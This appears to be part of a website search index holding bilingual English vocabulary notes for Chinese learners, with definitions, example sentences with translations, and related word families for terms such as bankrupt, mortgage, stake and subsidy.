<p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aunfortunate\uff0c\u8868\u793a\u4e0d\u5e78\u7684\uff0c\u5012\u9709\u7684\u3002</p> <p>fortune \u8fd0\u6c14\uff0c\u8d22\u5bcc\uff0cfortunate\u4e3a\u5e78\u8fd0\u7684\uff0c\u5e78\u8fd0\u7684</p> <p>mis-\u8868\u793a\u9519\u8bef\uff0c\u574f\u7684</p> <p>misadventure \u610f\u5916\u4e8b\u6545\uff0c\u4e0d\u5e78\u906d\u9047</p> <p>mishap \u5c0f\u4e8b\u6545\uff0c\u4e0d\u5e78\u4e8b\u4ef6</p> <p>urgent</p> <ul> <li>adj.<ul> <li>\u7d27\u6025\u7684, \u6025\u8feb\u7684</li> <li>\u8feb\u5207\u7684, \u7d27\u8981\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The situation requires urgent attention.</p> <p>\u8fd9\u79cd\u60c5\u51b5\u9700\u8981\u7d27\u6025\u5173\u6ce8\u3002</p> <p>She sent an urgent message to her team.</p> <p>\u5979\u7ed9\u5979\u7684\u56e2\u961f\u53d1\u4e86\u4e00\u6761\u7d27\u6025\u6d88\u606f\u3002</p> <p>The term 'urgent' can also refer to something that needs immediate action or attention.</p> <p>'urgent'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u9700\u8981\u7acb\u5373\u884c\u52a8\u6216\u5173\u6ce8\u7684\u4e8b\u60c5\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aurgency\uff0c\u6307\u7d27\u6025\uff0c\u6025\u8feb\u3002</p> <p>urge \u50ac\u4fc3\uff0c\u63a8\u52a8\uff0curged\u4e3a\u50ac\u4fc3\u7684\uff0c\u63a8\u52a8\u7684</p> <p>emergency \u7d27\u6025\u60c5\u51b5\uff0c\u7d27\u6025\u4e8b\u4ef6</p> <p>pressing \u7d27\u8feb\u7684\uff0c\u8feb\u5207\u7684</p> <p>immediate \u7acb\u5373\u7684\uff0c\u76f4\u63a5\u7684</p> <p>bankrupt</p> <ul> <li> <p>adj.</p> <ul> <li>\u7834\u4ea7\u7684, \u65e0\u529b\u507f\u8fd8\u503a\u52a1\u7684</li> <li>\u5b8c\u5168\u7f3a\u4e4f\u7684, \u8d2b\u56f0\u7684</li> </ul> </li> <li> <p>n.</p> <ul> <li>\u7834\u4ea7\u8005, \u65e0\u529b\u507f\u8fd8\u503a\u52a1\u8005</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f7f\u7834\u4ea7, \u4f7f\u65e0\u529b\u507f\u8fd8\u503a\u52a1</li> </ul> </li> </ul> <p>Eg</p> <p>The company went bankrupt after years of financial struggles.</p> <p>\u8be5\u516c\u53f8\u5728\u591a\u5e74\u8d22\u52a1\u56f0\u96be\u540e\u7834\u4ea7\u4e86\u3002</p> <p>He was declared bankrupt by the court.</p> <p>\u4ed6\u88ab\u6cd5\u9662\u5ba3\u5e03\u7834\u4ea7\u3002</p> <p>The term 'bankrupt' can also refer to a person or entity that is completely lacking in a particular quality or value.</p> <p>'bankrupt'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5b8c\u5168\u7f3a\u4e4f\u67d0\u79cd\u7279\u8d28\u6216\u4ef7\u503c\u7684\u4eba\u6216\u5b9e\u4f53\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3abankruptcy\uff0c\u6307\u7834\u4ea7\uff0c\u5012\u95ed\u3002</p> <p>bank \u4f5c\u4e3a\u8bcd\u6839\u8868\u793a\u94f6\u884c\uff0c\u8d22\u52a1</p> <p>rupt \u8868\u793a\u7834\u88c2\uff0c\u65ad\u88c2</p> <p>disrupt \u7834\u574f\uff0c\u6270\u4e71</p> <p>interrupt \u6253\u65ad\uff0c\u4e2d\u65ad</p> <p>corrupt \u8150\u8d25\u7684\uff0c\u5815\u843d\u7684</p> <p>deposit</p> <ul> <li> <p>n.</p> <ul> <li>\u5b58\u6b3e, \u5b9a\u91d1</li> <li>\u6c89\u79ef\u7269, \u77ff\u5e8a</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5b58\u653e, \u5b58\u50a8</li> <li>\u6c89\u79ef, \u5806\u79ef</li> </ul> </li> </ul> <p>Eg</p> <p>She made a deposit of $500 into her savings account.</p> <p>\u5979\u5728\u5979\u7684\u50a8\u84c4\u8d26\u6237\u4e2d\u5b58\u5165\u4e86500\u7f8e\u5143\u3002</p> <p>The river deposits silt along its banks.</p> <p>\u8fd9\u6761\u6cb3\u5728\u6cb3\u5cb8\u4e0a\u6c89\u79ef\u6de4\u6ce5\u3002</p> <p>The term 'deposit' can also refer to a layer of material that has been laid down naturally.</p> <p>'deposit'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u81ea\u7136\u6c89\u79ef\u7684\u4e00\u5c42\u7269\u8d28\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adeposition\uff0c\u6307\u6c89\u79ef\uff0c\u6c89\u79ef\u7269\u3002</p> <p>de \u8868\u793a\u5411\u4e0b\uff0c\u79bb\u5f00</p> <p>posit \u8868\u793a\u653e\u7f6e</p> <p>decompose \u5206\u89e3\uff0c\u8150\u70c2</p> <p>dispose \u5904\u7406\uff0c\u5904\u7f6e</p> <p>expose \u66b4\u9732\uff0c\u63ed\u9732(be exposed to \u66b4\u9732\u4e8e,\u63a5\u89e6\u5230)</p> <p>propose \u6c42\u5a5a\uff0c\u5efa\u8bae</p> <p>compose \u7ec4\u6210\uff0c\u6784\u6210</p> <p>impose \u5f3a\u52a0\uff0c\u5f81\u7a0e</p> <p>guarantee</p> <ul> <li> <p>n.</p> <ul> <li>\u4fdd\u8bc1, \u62c5\u4fdd</li> <li>\u4fdd\u4fee\u5355, \u4fdd\u8bc1\u4e66</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4fdd\u8bc1, \u62c5\u4fdd</li> <li>\u786e\u4fdd, \u4f7f...\u5fc5\u7136\u53d1\u751f</li> </ul> </li> </ul> <p>Eg</p> <p>The company offers a money-back guarantee if the product doesn't work.</p> <p>\u5982\u679c\u4ea7\u54c1\u4e0d\u8d77\u4f5c\u7528\uff0c\u516c\u53f8\u63d0\u4f9b\u9000\u6b3e\u4fdd\u8bc1\u3002</p> <p>I guarantee that you will be satisfied with the results.</p> <p>\u6211\u4fdd\u8bc1\u4f60\u4f1a\u5bf9\u7ed3\u679c\u6ee1\u610f\u3002</p> <p>The warranty guarantees the product against defects for one year.</p> <p>\u4fdd\u4fee\u5355\u4fdd\u8bc1\u4ea7\u54c1\u4e00\u5e74\u5185\u65e0\u7f3a\u9677\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aguarantor\uff0c\u6307\u62c5\u4fdd\u4eba\u3002</p> <p>guar \u8868\u793a\u4fdd\u62a4\uff0c\u4fdd\u536b</p> <p>antee \u8868\u793a\u884c\u52a8\u6216\u72b6\u6001</p> <p>guard \u5b88\u536b\uff0c\u4fdd\u536b</p> <p>warranty \u4fdd\u4fee\uff0c\u4fdd\u8bc1</p> <p>assure \u786e\u4fdd\uff0c\u4fdd\u8bc1</p> <p>ensure \u786e\u4fdd\uff0c\u4fdd\u8bc1</p> <p>secure \u5b89\u5168\u7684\uff0c\u786e\u4fdd</p> <p>fund</p> <ul> <li> <p>n.</p> <ul> <li>\u8d44\u91d1, \u57fa\u91d1</li> <li>\u4e13\u6b3e, \u73b0\u6b3e</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u63d0\u4f9b\u8d44\u91d1, \u8d44\u52a9</li> <li>\u6295\u8d44, \u8d44\u52a9</li> </ul> </li> </ul> <p>Eg</p> <p>The government allocated funds for the new infrastructure project.</p> <p>\u653f\u5e9c\u4e3a\u65b0\u7684\u57fa\u7840\u8bbe\u65bd\u9879\u76ee\u62e8\u6b3e\u3002</p> <p>She decided to fund the startup with her savings.</p> <p>\u5979\u51b3\u5b9a\u7528\u5979\u7684\u79ef\u84c4\u8d44\u52a9\u8fd9\u5bb6\u521d\u521b\u516c\u53f8\u3002</p> <p>The term 'fund' can also refer to a sum of money saved or made available for a particular purpose.</p> <p>'fund'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4e3a\u7279\u5b9a\u76ee\u7684\u50a8\u5b58\u6216\u63d0\u4f9b\u7684\u4e00\u7b14\u8d44\u91d1\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3afunding\uff0c\u6307\u8d44\u91d1\uff0c\u8d44\u52a9\u3002</p> <p>fundamental \u57fa\u672c\u7684\uff0c\u57fa\u7840\u7684</p> <p>refund \u9000\u6b3e\uff0c\u9000\u8fd8</p> <p>defund \u64a4\u8d44\uff0c\u505c\u6b62\u8d44\u52a9</p> <p>fundraiser \u52df\u6350\u6d3b\u52a8\uff0c\u7b79\u6b3e\u4eba</p> <p>export</p> <ul> <li>v.<ul> <li>\u51fa\u53e3, \u8f93\u51fa</li> <li>\u4f20\u64ad, \u8f93\u51fa</li> </ul> </li> </ul> <p>Eg</p> <p>The country exports a large amount of oil.</p> <p>\u8fd9\u4e2a\u56fd\u5bb6\u51fa\u53e3\u5927\u91cf\u77f3\u6cb9\u3002</p> <p>The software allows users to export data to various formats.</p> <p>\u8be5\u8f6f\u4ef6\u5141\u8bb8\u7528\u6237\u5c06\u6570\u636e\u5bfc\u51fa\u4e3a\u5404\u79cd\u683c\u5f0f\u3002</p> <p>The term 'export' can also refer to the act of sending goods or services to another country for sale.</p> <p>'export'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u5546\u54c1\u6216\u670d\u52a1\u53d1\u9001\u5230\u53e6\u4e00\u4e2a\u56fd\u5bb6\u8fdb\u884c\u9500\u552e\u7684\u884c\u4e3a\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aexportation\uff0c\u6307\u51fa\u53e3\uff0c\u8f93\u51fa\uff0cexporter\u4e3a\u540d\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u51fa\u53e3\u5546\u3002</p> <p>ex-\u8868\u793a\u5411\u5916\uff0cport\u8868\u793a\u6e2f\u53e3\uff0c\u5411\u5916\u8fd0\u5230\u6e2f\u53e3\uff0c\u8868\u793a\u51fa\u53e3\u7684\u610f\u601d</p> <p>import \u8fdb\u53e3\uff0c\u8f93\u5165</p> <p>transport \u8fd0\u8f93\uff0c\u8fd0\u9001</p> <p>support \u652f\u6301\uff0c\u652f\u6491</p> <p>report \u62a5\u544a\uff0c\u6c47\u62a5</p> <p>manufacturer</p> <ul> <li>n.<ul> <li>\u5236\u9020\u5546, \u751f\u4ea7\u8005</li> <li>\u5382\u5546, \u5236\u9020\u516c\u53f8</li> </ul> </li> </ul> <p>Eg</p> <p>The manufacturer produces high-quality electronics.</p> <p>\u8be5\u5236\u9020\u5546\u751f\u4ea7\u9ad8\u8d28\u91cf\u7684\u7535\u5b50\u4ea7\u54c1\u3002</p> <p>The term 'manufacturer' can also refer to a company or person that makes goods for sale.</p> <p>'manufacturer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5236\u9020\u5546\u54c1\u4ee5\u4f9b\u9500\u552e\u7684\u516c\u53f8\u6216\u4e2a\u4eba\u3002</p> <p>mortgage</p> <ul> <li>n.<ul> <li>\u62b5\u62bc\u8d37\u6b3e, \u6309\u63ed</li> <li>\u62b5\u62bc</li> </ul> </li> </ul> <p>Eg</p> <p>They took out a mortgage to buy their house.</p> <p>\u4ed6\u4eec\u529e\u7406\u4e86\u62b5\u62bc\u8d37\u6b3e\u6765\u4e70\u623f\u3002</p> <p>The term 'mortgage' can also refer to the legal agreement by which a bank lends money in exchange for taking title of the debtor's property.</p> <p>'mortgage'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u94f6\u884c\u901a\u8fc7\u501f\u6b3e\u534f\u8bae\u83b7\u5f97\u503a\u52a1\u4eba\u8d22\u4ea7\u6240\u6709\u6743\u7684\u6cd5\u5f8b\u534f\u8bae\u3002</p> <p>pension</p> <ul> <li>n.<ul> <li>\u517b\u8001\u91d1, \u9000\u4f11\u91d1</li> <li>\u629a\u6064\u91d1</li> </ul> </li> </ul> <p>Eg</p> <p>She lives on her pension after retiring from the company.</p> <p>\u5979\u9000\u4f11\u540e\u9760\u517b\u8001\u91d1\u751f\u6d3b\u3002</p> <p>The term 'pension' can also refer to a regular payment made during a person's retirement from an investment fund to which that person or their employer has contributed during their working life.</p> <p>'pension'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u4e00\u4e2a\u4eba\u5de5\u4f5c\u671f\u95f4\u7531\u5176\u672c\u4eba\u6216\u96c7\u4e3b\u7f34\u7eb3\u7684\u6295\u8d44\u57fa\u91d1\u5728\u5176\u9000\u4f11\u671f\u95f4\u5b9a\u671f\u652f\u4ed8\u7684\u6b3e\u9879\u3002</p> <p>profit</p> <ul> <li>n.<ul> <li>\u5229\u6da6, \u6536\u76ca</li> <li>\u5229\u6da6\u7387</li> </ul> </li> </ul> <p>Eg</p> <p>The company made a significant profit last year.</p> <p>\u8be5\u516c\u53f8\u53bb\u5e74\u83b7\u5f97\u4e86\u53ef\u89c2\u7684\u5229\u6da6\u3002</p> <p>The term 'profit' can also refer to the financial gain, especially the difference between the amount earned and the amount spent in buying, operating, or producing something.</p> <p>'profit'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8d22\u52a1\u6536\u76ca\uff0c\u7279\u522b\u662f\u6536\u5165\u4e0e\u8d2d\u4e70\u3001\u8fd0\u8425\u6216\u751f\u4ea7\u67d0\u7269\u7684\u652f\u51fa\u4e4b\u95f4\u7684\u5dee\u989d\u3002</p> <p>benefit \u5229\u76ca\uff0c\u597d\u5904</p> <p>prosperity</p> <ul> <li>n.<ul> <li>\u7e41\u8363, \u5174\u65fa</li> <li>\u6210\u529f, \u660c\u76db</li> </ul> </li> </ul> <p>Eg</p> <p>The country enjoyed a period of prosperity after the war.</p> <p>\u6218\u540e\u8be5\u56fd\u7ecf\u5386\u4e86\u4e00\u6bb5\u7e41\u8363\u65f6\u671f\u3002</p> <p>The term 'prosperity' can also refer to the state of being successful, especially in financial or economic terms.</p> <p>'prosperity'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6210\u529f\u7684\u72b6\u6001\uff0c\u7279\u522b\u662f\u5728\u8d22\u52a1\u6216\u7ecf\u6d4e\u65b9\u9762\u3002</p> <p>\u8bcd\u6839sp\u8868\u793a\u770b\uff0c\u89c2\u5bdf</p> <p>spy \u95f4\u8c0d\uff0c\u4fa6\u63a2;suspect \u6000\u7591\uff0c\u731c\u7591,inspect \u68c0\u67e5\uff0c\u89c6\u5bdf,respect \u5c0a\u91cd\uff0c\u5c0a\u656c</p> <p>prospect \u524d\u666f\uff0c\u5c55\u671b\uff0c circumspect \u5c0f\u5fc3\u8c28\u614e\u7684\uff0c\u8c28\u614e\u7684\uff0c</p> <p>spectator \u89c2\u4f17\uff0c\u65c1\u89c2\u8005 speculate \u63a8\u6d4b\uff0c\u731c\u6d4b,spectacular \u58ee\u89c2\u7684\uff0c\u5f15\u4eba\u6ce8\u76ee\u7684</p> <p>perspective \u89c2\u70b9\uff0c\u770b\u6cd5\uff0c\u900f\u89c6\uff0c\u900f\u89c6\u56fe\uff0c\u900f\u89c6\u56fe</p> <p>conspicuous \u5f15\u4eba\u6ce8\u76ee\u7684\uff0c\u663e\u773c\u7684</p> <p>retrospect \u56de\u987e\uff0c\u56de\u987e\u6027</p>"},{"location":"NOTE/Language/English/#part-2","title":"PART 2","text":"<p>reclaim</p> <ul> <li>v.<ul> <li>\u53d6\u56de, \u62ff\u56de</li> <li>\u5f00\u57a6, \u6539\u9020</li> <li>\u56de\u6536\u5229\u7528</li> </ul> </li> </ul> <p>Eg</p> <p>She managed to reclaim her lost wallet.</p> <p>\u5979\u8bbe\u6cd5\u627e\u56de\u4e86\u4e22\u5931\u7684\u94b1\u5305\u3002</p> <p>The term 'reclaim' can also refer to the process of retrieving or recovering something previously lost or taken.</p> <p>'reclaim'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u53d6\u56de\u6216\u6062\u590d\u4ee5\u524d\u4e22\u5931\u6216\u88ab\u62ff\u8d70\u7684\u4e1c\u897f\u3002</p> <p>reclaim \u53d6\u56de\uff0c\u62ff\u56de\uff0c\u5f00\u57a6\uff0c\u6539\u9020\uff0c\u56de\u6536\u5229\u7528</p> <p>reclaimable \u53ef\u56de\u6536\u7684\uff0c\u53ef\u5f00\u57a6\u7684</p> <p>reclamation \u5f00\u57a6\uff0c\u6539\u9020\uff0c\u56de\u6536</p> <p>proclaim \u5ba3\u5e03\uff0c\u5ba3\u544a</p> <p>exclaim \u60ca\u547c\uff0c\u60ca\u53eb</p> <p>acclaim \u559d\u5f69\uff0c\u79f0\u8d5e</p> <p>declaim \u65ad\u8a00\uff0c\u5ba3\u79f0</p> <p>refine</p> <ul> <li>v.<ul> <li>\u7cbe\u70bc, \u63d0\u7eaf</li> <li>\u6539\u8fdb, \u6539\u5584</li> </ul> </li> </ul> <p>Eg</p> <p>The company refined the product to improve its quality.</p> <p>\u8be5\u516c\u53f8\u7cbe\u70bc\u4ea7\u54c1\u4ee5\u63d0\u9ad8\u5176\u8d28\u91cf\u3002</p> <p>The term 'refine' can also refer to the process of improving or enhancing something, especially in terms of quality or purity.</p> <p>'refine'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6539\u8fdb\u6216\u63d0\u9ad8\u67d0\u7269\uff0c\u7279\u522b\u662f\u5728\u8d28\u91cf\u6216\u7eaf\u5ea6\u65b9\u9762\u3002</p> <p>sufficient</p> <ul> <li>adj.<ul> <li>\u8db3\u591f\u7684, \u5145\u8db3\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The food supply was sufficient for the entire village.</p> <p>\u98df\u7269\u4f9b\u5e94\u8db3\u591f\u6574\u4e2a\u6751\u5e84\u4f7f\u7528\u3002</p> <p>The term 'sufficient' can also refer to having enough of something to meet the needs or requirements.</p> <p>'sufficient'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6709\u8db3\u591f\u7684\u4e1c\u897f\u6765\u6ee1\u8db3\u9700\u6c42\u6216\u8981\u6c42\u3002</p> <p>rival</p> <ul> <li>n.<ul> <li>\u7ade\u4e89\u5bf9\u624b, \u5bf9\u624b</li> <li>\u654c\u624b, \u7ade\u4e89\u8005</li> </ul> </li> <li>v.<ul> <li>\u7ade\u4e89, \u5bf9\u6297</li> <li>\u4e0e...\u5339\u654c, \u6bd4\u5f97\u4e0a</li> </ul> </li> </ul> <p>Eg</p> <p>The two companies were fierce rivals in the market.</p> <p>\u8fd9\u4e24\u5bb6\u516c\u53f8\u5728\u5e02\u573a\u4e0a\u662f\u6fc0\u70c8\u7684\u7ade\u4e89\u5bf9\u624b\u3002</p> <p>The term 'rival' can also refer to someone or something that competes with another for the same objective or superiority in the same field.</p> <p>'rival'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u540c\u4e00\u9886\u57df\u4e2d\u4e3a\u76f8\u540c\u76ee\u6807\u6216\u4f18\u8d8a\u6027\u800c\u7ade\u4e89\u7684\u4eba\u6216\u4e8b\u7269\u3002</p> <p>stake</p> <ul> <li>n.<ul> <li>\u6869, \u6807\u6869</li> <li>\u80a1\u4efd, \u5229\u5bb3\u5173\u7cfb</li> <li>\u8d4c\u6ce8, \u5956\u91d1</li> </ul> </li> <li>v.<ul> <li>\u7528\u6869\u652f\u6491, \u7528\u6869\u6807\u51fa</li> <li>\u4e0b\u6ce8, \u6295\u8d44</li> </ul> </li> </ul> <p>Eg</p> <p>He drove a stake into the ground to mark the boundary.</p> <p>\u4ed6\u5728\u5730\u4e0a\u6253\u4e86\u4e00\u6839\u6869\u6765\u6807\u8bb0\u8fb9\u754c\u3002</p> <p>The company has a significant stake in the new project.</p> <p>\u8be5\u516c\u53f8\u5728\u65b0\u9879\u76ee\u4e2d\u6709\u91cd\u8981\u7684\u80a1\u4efd\u3002</p> <p>The term 'stake' can also refer to a personal or financial interest or involvement in something.</p> <p>'stake'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e8b\u4e2d\u7684\u4e2a\u4eba\u6216\u8d22\u52a1\u5229\u76ca\u6216\u53c2\u4e0e\u3002</p> <p>at stake</p> <ul> <li>phrase.<ul> <li>\u5904\u4e8e\u5371\u9669\u4e2d, \u5904\u4e8e\u6210\u8d25\u5173\u5934</li> <li>\u6709\u98ce\u9669, \u6709\u53ef\u80fd\u5931\u53bb</li> </ul> </li> </ul> <p>Eg</p> <p>The future of the company is at stake.</p> <p>\u516c\u53f8\u7684\u672a\u6765\u5c8c\u5c8c\u53ef\u5371\u3002</p> <p>There is a lot of money at stake in this venture.</p> <p>\u8fd9\u9879\u98ce\u9669\u6295\u8d44\u4e2d\u6709\u5927\u91cf\u8d44\u91d1\u5904\u4e8e\u5371\u9669\u4e4b\u4e2d\u3002</p> <p>The term 'at stake' can also refer to something that is at risk or in a position to be won or lost.</p> <p>'at stake'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5904\u4e8e\u98ce\u9669\u4e2d\u6216\u5904\u4e8e\u6210\u8d25\u5173\u5934\u7684\u4e8b\u7269\u3002</p> <p>subsidy</p> <ul> <li>n.<ul> <li>\u8865\u8d34, \u6d25\u8d34</li> <li>\u8d22\u653f\u8d44\u52a9</li> </ul> </li> </ul> <p>Eg</p> <p>The government provided a subsidy to help the farmers.</p> <p>\u653f\u5e9c\u63d0\u4f9b\u4e86\u8865\u8d34\u6765\u5e2e\u52a9\u519c\u6c11\u3002</p> <p>The term 'subsidy' can also refer to financial assistance given by the government to support a specific sector or activity.</p> <p>'subsidy'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u653f\u5e9c\u4e3a\u652f\u6301\u7279\u5b9a\u90e8\u95e8\u6216\u6d3b\u52a8\u800c\u63d0\u4f9b\u7684\u8d22\u653f\u63f4\u52a9\u3002</p> <p>estate</p> <ul> <li>n.<ul> <li>\u8d22\u4ea7, \u8d44\u4ea7</li> <li>\u623f\u5730\u4ea7, \u4e0d\u52a8\u4ea7</li> <li>\u5e84\u56ed, \u5e84\u56ed\u4f4f\u5b85</li> </ul> </li> </ul> <p>real estate \u623f\u5730\u4ea7</p> <p>Eg</p> <p>He inherited a large estate from his uncle.</p> <p>\u4ed6\u4ece\u53d4\u53d4\u90a3\u91cc\u7ee7\u627f\u4e86\u4e00\u5927\u7b14\u8d22\u4ea7\u3002</p> <p>The real estate market is booming in the city.</p> <p>\u8be5\u5e02\u7684\u623f\u5730\u4ea7\u5e02\u573a\u6b63\u5728\u84ec\u52c3\u53d1\u5c55\u3002</p> <p>The family owns a beautiful estate in the countryside.</p> <p>\u8fd9\u5bb6\u4eba\u5728\u4e61\u4e0b\u62e5\u6709\u4e00\u4e2a\u7f8e\u4e3d\u7684\u5e84\u56ed\u3002</p> <p>The term 'estate' can also refer to all the money and property owned by a particular person, especially at death.</p> <p>'estate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u67d0\u4eba\u62e5\u6709\u7684\u6240\u6709\u94b1\u8d22\u548c\u8d22\u4ea7\uff0c\u5c24\u5176\u662f\u5728\u53bb\u4e16\u65f6\u3002</p> <p>recede</p> <ul> <li>v.<ul> <li>\u540e\u9000, \u9000\u5374</li> <li>\u51cf\u5f31, \u51cf\u5c11</li> <li>\u53d8\u79c3</li> </ul> </li> </ul> <p>Eg</p> <p>The floodwaters began to recede after the heavy rain stopped.</p> <p>\u66b4\u96e8\u505c\u6b62\u540e\uff0c\u6d2a\u6c34\u5f00\u59cb\u9000\u53bb\u3002</p> <p>His hairline has started to recede as he gets older.</p> <p>\u968f\u7740\u5e74\u9f84\u7684\u589e\u957f\uff0c\u4ed6\u7684\u53d1\u9645\u7ebf\u5f00\u59cb\u540e\u9000\u3002</p> <p>The pain in his leg gradually receded.</p> <p>\u4ed6\u817f\u4e0a\u7684\u75bc\u75db\u9010\u6e10\u51cf\u8f7b\u3002</p> <p>The term 'recede' can also refer to something moving back or becoming less intense.</p> <p>'recede'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u67d0\u7269\u540e\u9000\u6216\u53d8\u5f97\u4e0d\u90a3\u4e48\u5f3a\u70c8\u3002</p> <p>relieve</p> <ul> <li>v.<ul> <li>\u51cf\u8f7b, \u7f13\u89e3</li> <li>\u89e3\u9664, \u514d\u9664</li> <li>\u6551\u6d4e, \u6551\u63f4</li> </ul> </li> </ul> <p>Eg</p> <p>The medication helped to relieve the pain.</p> <p>\u836f\u7269\u6709\u52a9\u4e8e\u51cf\u8f7b\u75bc\u75db\u3002</p> <p>He was relieved of his duties after the incident.</p> <p>\u4e8b\u4ef6\u53d1\u751f\u540e\uff0c\u4ed6\u88ab\u514d\u9664\u4e86\u804c\u52a1\u3002</p> <p>The charity works to relieve poverty in the region.</p> <p>\u8be5\u6148\u5584\u673a\u6784\u81f4\u529b\u4e8e\u7f13\u89e3\u8be5\u5730\u533a\u7684\u8d2b\u56f0\u3002</p> <p>The term 'relieve' can also refer to making a problem or bad situation less serious.</p> <p>'relieve'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u95ee\u9898\u6216\u7cdf\u7cd5\u7684\u60c5\u51b5\u53d8\u5f97\u4e0d\u90a3\u4e48\u4e25\u91cd\u3002</p> <p>counter</p> <ul> <li> <p>n.</p> <ul> <li>\u8ba1\u6570\u5668, \u8ba1\u7b97\u5668</li> <li>\u67dc\u53f0, \u67dc\u53f0\u5f0f\u957f\u684c</li> <li>\u53cd\u9a73, \u53cd\u5bf9</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53cd\u9a73, \u53cd\u5bf9</li> </ul> </li> <li> <p>adv.</p> <ul> <li>\u76f8\u53cd, \u76f8\u53cd\u5730</li> </ul> </li> </ul> <p>CSGO (Counter-Strike: Global Offensive) \u53cd\u6050\u7cbe\u82f1:\u5168\u7403\u653b\u52bf</p> <p>Eg</p> <p>The counter displayed the number of visitors to the website.</p> <p>\u8ba1\u6570\u5668\u663e\u793a\u4e86\u7f51\u7ad9\u7684\u8bbf\u95ee\u8005\u6570\u91cf\u3002</p> <p>She placed her order at the counter.</p> <p>\u5979\u5728\u67dc\u53f0\u4e0b\u4e86\u8ba2\u5355\u3002</p> <p>His argument was met with a strong counter.</p> <p>\u4ed6\u7684\u8bba\u70b9\u906d\u5230\u4e86\u5f3a\u70c8\u7684\u53cd\u9a73\u3002</p> <p>The term 'counter' can also refer to something that opposes or goes against something else.</p> <p>'counter'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u53cd\u5bf9\u6216\u5bf9\u6297\u67d0\u4e8b\u7269\u3002</p> <p>account \u8d26\u6237, \u8d26\u76ee, \u89e3\u91ca, \u8bf4\u660e accountant \u4f1a\u8ba1</p> <p>unaccountable \u65e0\u6cd5\u89e3\u91ca\u7684, \u4e0d\u53ef\u539f\u8c05\u7684 </p> <p>counterpart \u5bf9\u5e94\u7269, \u526f\u672c, \u5bf9\u5e94\u7684\u4eba</p> <p>encounter \u906d\u9047, \u9047\u5230 </p> <p>discount \u6298\u6263, \u6253\u6298</p> <p>wholesale</p> <ul> <li> <p>n.</p> <ul> <li>\u6279\u53d1, \u6279\u53d1\u4e1a\u52a1</li> <li>\u5927\u89c4\u6a21, \u5927\u6279\u91cf</li> </ul> </li> <li> <p>adj.</p> <ul> <li>\u6279\u53d1\u7684, \u5927\u89c4\u6a21\u7684</li> </ul> </li> <li> <p>adv.</p> <ul> <li>\u4ee5\u6279\u53d1\u65b9\u5f0f, \u5927\u89c4\u6a21\u5730</li> </ul> </li> </ul> <p>\u53cd\u4e49\u8bcd:retail \u96f6\u552e</p> <p>Eg</p> <p>The company specializes in the wholesale of electronic goods.</p> <p>\u8fd9\u5bb6\u516c\u53f8\u4e13\u95e8\u4ece\u4e8b\u7535\u5b50\u4ea7\u54c1\u7684\u6279\u53d1\u4e1a\u52a1\u3002</p> <p>They bought the goods at wholesale prices.</p> <p>\u4ed6\u4eec\u4ee5\u6279\u53d1\u4ef7\u8d2d\u4e70\u4e86\u8fd9\u4e9b\u5546\u54c1\u3002</p> <p>The policy led to the wholesale destruction of the environment.</p> <p>\u8fd9\u9879\u653f\u7b56\u5bfc\u81f4\u4e86\u73af\u5883\u7684\u5927\u89c4\u6a21\u7834\u574f\u3002</p> <p>The term 'wholesale' can also refer to the selling of goods in large quantities at lower prices.</p> <p>'wholesale'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4ee5\u8f83\u4f4e\u4ef7\u683c\u5927\u6279\u91cf\u9500\u552e\u5546\u54c1\u3002</p> <p>transact</p> <ul> <li>v.<ul> <li>\u5904\u7406, \u529e\u7406, \u4ea4\u6613</li> </ul> </li> </ul> <p>Eg</p> <p>They decided to transact the business in private.</p> <p>\u4ed6\u4eec\u51b3\u5b9a\u79c1\u4e0b\u5904\u7406\u8fd9\u7b14\u4e1a\u52a1\u3002</p> <p>The bank transacts all its business in a professional manner.</p> <p>\u8fd9\u5bb6\u94f6\u884c\u4ee5\u4e13\u4e1a\u7684\u65b9\u5f0f\u5904\u7406\u6240\u6709\u4e1a\u52a1\u3002</p> <p>The term 'transact' can also refer to conducting or carrying out business or negotiations.</p> 